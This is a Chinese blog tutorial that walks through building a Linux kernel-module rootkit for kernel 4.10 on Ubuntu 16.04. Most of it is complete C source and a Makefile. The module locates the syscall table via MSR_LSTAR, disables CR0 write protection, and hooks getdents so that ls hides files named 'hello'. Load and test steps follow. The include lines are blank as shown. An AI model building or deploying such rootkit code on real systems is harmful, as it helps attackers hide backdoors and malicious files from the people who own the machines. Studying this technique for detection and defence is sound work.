Rootkit实战——ls篇

     rootkit科普:Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包,该技术被越来越多地应用于一些恶意软件中。在基于Windows的系统中Rootkit更多地用于隐藏程序或进程,系统被注入Rootkit后就可以在不为用户察觉的情况下进行某些操作。因此,其隐蔽性极高,危害也极大。

rootkit工作原理:攻击者想要在受害者的电脑上搞破坏时,比如装后门程序,总会留下一些蛛丝马迹,而受害者只需通过一些
特殊操作,譬如ps一下,就会很容易看到后台运行的后门程序,知道自己被攻击了。为了使攻击更加隐蔽,攻击者往往会通过修
统调用,比如修改ls、netstat等,这种替换掉系统原有的普通命令,换成自己特殊目的的可执行文件,属于rootkit的核心。

在实现rootkit之前,我们需了解一下 LKM(可加载内核模块)LKM的全称为Loadable Kernel Modules,中文名为可加载内
核模块,主要作用是用来扩展linux的内核功能。 LKM的优点在于可以动态地加载到内存中,无须重新编译内核。由于LKM具有
这样 的特点,所以它经常被用于一些设备的驱动程序,例如声卡,网卡等等。当然因为其优点,也经常用于rootkit技术当中。

本人的 Linux内核版本: (命令行输入:cat /proc/version
                            Linux version 4.10.0-38-generic (buildd@lgw01-amd64-059) (gcc version 5.4.0 20160609
                            (Ubuntu 5.4.0-6ubuntu1~16.04.4) )#42~16.04.1-Ubuntu SMP Tue Oct 10 16:32:20 UTC 2017
 Linux系统版本: (命令行输入:lsb_release -a)
                           Distributor ID:Ubuntu
                           Description:Ubuntu 16.04.3 LTS
                           Release: 16.04
要运行LKM程序,我们首先要编译一下,即Makefile,代码如下:
#drop_all:drop_all.c 
#	gcc -o drop_all drop_all.c

#clean:
#	rm *.o

obj-m += HIDE_ls.o  // HIDE_ls.o即为要编译到内核的代码名


all:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean


接下来, 让我们看看实现代码(HIDE_ls.c):
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};

static unsigned long ** sys_call_table;
char psname[10]="hello";

char *processname=psname;

long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count);

void disable_write_protection(void)      //取消写保护
{
        unsigned long cr0 = read_cr0();
        clear_bit(16, &cr0);
        write_cr0(cr0);
}

void enable_write_protection(void)       //打开写保护
{
        unsigned long cr0 = read_cr0();
        set_bit(16, &cr0);
        write_cr0(cr0);
}

void *
get_lstar_sct_addr(void)
{
    u64 lstar;
    u64 index;

    rdmsrl(MSR_LSTAR, lstar);   /*可获得系统调用的入口地址,
                                然后对该入口地址进行解析得
                                到入口函数为system_call*/
    for (index = 0; index <= PAGE_SIZE; index += 1) {
        u8 *arr = (u8 *)lstar + index;

        if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {     /*从0中断服务程序system_call的地址
                                                                      开始搜索硬编码 \xff\x14\x85,
                                                                      这块硬编码的后面紧接着就是系统调用表的地址 */
            return arr + 3;
        }
    }

    return NULL;
}


unsigned long **
get_lstar_sct(void)
{

    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u64 base = 0xffffffff00000000;
        u32 code = *(u32 *)lstar_sct_addr;
        return (void *)(base | code);      //Linux x86_64使用的LP64字长模式
    } else {
        return NULL;
    }                                         
}

/*修改的系统调用,替换原来的sys_getdents.系统调用getdents()从中读取多个linux_dirent结构
 通过打开的文件描述符简称目录FD进入由dirp指向的缓冲区。参数数量指定的大小那个缓冲区。 */   
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp,  unsigned int count){ 
                                                                              
struct linux_dirent *dp,*pos,*buf1,*buf2;  
int fd_len;
int copy_len = 0;
 
    fd_len = (*orig_getdents) (fd, dirp, count);  //调用sys_getdents,返回该目录文件下目录的总字节数
    if (!fd_len) {
        printk("fd is empty.\n");
        return (fd_len);  
    }
    buf1 = (struct linux_dirent *) kmalloc(fd_len, GFP_KERNEL);
    buf2 = (struct linux_dirent *) kmalloc(fd_len, GFP_KERNEL);
    dp = buf1;
    pos = buf2;
    copy_from_user(buf2, dirp, fd_len);   //将用户空间的数据copy到buf2中,即内核空间
  
    while(fd_len>0){

        printk("%s\n",buf2->d_name);
      // 假如找到要隐藏的文件名,直接跳过不处理,其他的均COPY给buf1
        if(strstr(buf2->d_name,processname) == NULL){
            
            printk("Don't find process\n"); 
            memmove(buf1, (char *) buf2 , buf2->d_reclen);
            buf1 = (struct linux_dirent *) ((char *)buf1 + buf2->d_reclen);
            copy_len = copy_len + buf2->d_reclen;
        }
        fd_len = fd_len - buf2->d_reclen;
        buf2 = (struct linux_dirent *) ((char *)buf2 + buf2->d_reclen);   
    }

    copy_to_user(dirp, dp, copy_len);   // 将copy来数据送回用户空间

    kfree(dp); 
    kfree(pos);
    return (copy_len);  
}


static int enter(void)
{   
    sys_call_table = get_lstar_sct();
    if (!sys_call_table)
    {
        printk("get_act_addr(): NULL...\n");
        return 0;
    }
    else{
        printk("sct: 0x%p\n", (unsigned long)sys_call_table[__NR_getdents]);
        orig_getdents = (void *)sys_call_table[__NR_getdents];    //保存原来的系统调用
 
        disable_write_protection();                       //取消写保护位
        sys_call_table[__NR_getdents] = (unsigned long *)&hacked_getdents;  //替换成我们自己写的系统调用
        enable_write_protection();
        printk(KERN_INFO "hideps: module loaded.\n");
    return 0;
    }   
}


static void go_out(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents] = (unsigned long *)orig_getdents; //恢复默认的系统调用
    enable_write_protection();
    printk(KERN_INFO "hideps: module removed\n");
}


MODULE_LICENSE("GPL");
module_init(enter);
module_exit(go_out);

实现过程:

1,在某一文件夹下创建名“hello”文件夹和文件

2,此时用ls命令,可以清楚看到名“hello”文件夹和文件。

可见有hello文件夹。

3,编译HIDE_ls.c 生成模块HIDE_ls.ko

Rootkit实战——ls篇_第1张图片

4,把模块HIDE_ls.ko,用命令 insmod 加载进内核

5,再次用 ls命令,发现之前的hellow文件夹被隐藏


6,最后要记得rmmod掉HIDE_ls.ko。

ps:用其他的内核版本可能会失败,旦整体思路如上所示,以上内容假如有啥错误的请一定指出,本人就是喜欢接受批评,大家可以一起讨论,

谢谢大家!

你可能感兴趣的:(信安)